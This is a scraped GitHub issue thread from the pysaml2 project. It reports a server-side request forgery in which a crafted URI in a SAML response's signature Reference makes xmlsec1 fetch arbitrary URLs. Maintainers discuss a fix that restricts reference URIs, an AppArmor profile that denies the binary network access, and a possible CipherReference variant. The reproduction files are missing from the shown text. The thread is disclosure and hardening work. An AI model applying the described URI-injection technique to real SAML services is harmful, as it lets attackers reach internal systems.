c00kiemon5ter
commented
6 years ago Excellent report. Thanks!
This is indeed a problem. I will push the fix first thing in the morning.
Open marcpare opened 6 years ago
c00kiemon5ter
commented
6 years ago Excellent report. Thanks!
This is indeed a problem. I will push the fix first thing in the morning.
jkakavas
commented
6 years ago Nice find @marcpare ! I took a look at opensaml for this and they're not vulnerable since they have explicit validation for (among other things) signatures.
I was wondering if we should consider adding a layer of validation in pysaml2 for certain elements, conditions instead of only relying on underlying libraries. Thoughts @c00kiemon5ter ?
c00kiemon5ter
commented
6 years ago @jkakavas yes, we should. This is one of the things I want to do, and it should be part of the type system - ie, our Reference type should be making sure it is representing a valid (as we define) node. (In this particular case it is Signature node that will impose that policy on its Reference child.) Validation should take place at the very start of the process, where we receive data, parse them and represent them with an object. In pysaml2 some things work that way, while others pass around an xml string that needs to be parsed or modified in place; this should change and hopefully will in the near future.
c00kiemon5ter
commented
6 years ago This issue is also described in the XML Signature Best Practices document. We should make a check list of that.
c00kiemon5ter
commented
6 years ago I think both empty and same-doc should be fine:
xmlsec1 --enabled-reference-uris empty,same-doc ...Quoting the XML Signature Syntax and Processing document:
If the
URIattribute is omitted altogether, the receiving application is expected to know the identity of the object. For example, a lightweight data protocol might omit this attribute given the identity of the object is part of the application context. This attribute may be omitted from at most oneReferencein any particularSignedInfo, orManifest.
c00kiemon5ter
commented
6 years ago I am reopening this, as there are more places where the xmlsec1 executable is called. We need to make sure that those calls do not try to reach the network.
peppelinux
commented
4 years ago Interesting, yes with a customized apparmor profile. Something like:
/usr/local/bin/xmlsec1 {
...
# block ipv4 acces
deny network inet,
# ipv6
deny network inet6,
# raw socket
deny network raw,
}ah, I think that would be useful to compile xmlsec1 from sources (and disable these kind of feature directly in configuration ...)
peppelinux
commented
4 years ago I am reopening this, as there are more places where the
xmlsec1executable is called. We need to make sure that those calls do not try to reach the network.
Actually I can see https://github.com/IdentityPython/pysaml2/blob/1aeae3ae565e02f863a26b2893354d048a7abff8/src/saml2/sigver.py#L858
we should also check in request and response methods. That wouldn't be too heavy
ioparaskev
commented
4 years ago Seeing that xmlsec1 also has a similar option --enabled-cipher-reference-uris, I wonder if this issue can also be achieve by taking advantage of the CipherReference element and its URI attribute
Howdy y'all, been tracking down the root cause of another SSRF reported by a client. Lots of SAML is new to me so please feel free to be critical!
Code Version
pysaml2 = 4.5.0xmlsec1 = 1.2.25Expected Behavior
pysaml2should not make arbitrary http calls.Current Behavior
A Burp scan reported the following:
I encountered SSRF recently (https://github.com/IdentityPython/pysaml2/issues/508) because of an outdated
xmlsec1. In this case, however, it occurred with an up-to-datepysaml2(4.5.0) andxmlsec1(1.2.25).The SSRF occurs in the
URIfield of theds:Referencenode of a SAML response. Normally, these look like this:but you can change them to something like this:
and the URI will be resolved internally.
The
pysaml2method that triggers the SSRF isparse_authn_request_response. I tracked down the root cause to the call out toxmlsec1 --verify.Possible Solution
There appears to be a simple fix. There is a flag
--enabled-reference-urisinxmlsec1that prevents this.Setting it to
same-docno longer triggers an SSRF.I think this would a one-line fix in
sigver.py:validate_signature.Steps to Reproduce
Here is a command to replicate the SSRF:
Run a local web server to see the request. e.g.
The files
cert.pemandssrf.pyare pasted below. They're intercepted from an authentication flow on a local Flask app created by following Okta's pysaml2 tutorial.You can tweak the URI in
ssrf.xml(grep forlocalhost).cert.pem
ssrf.xml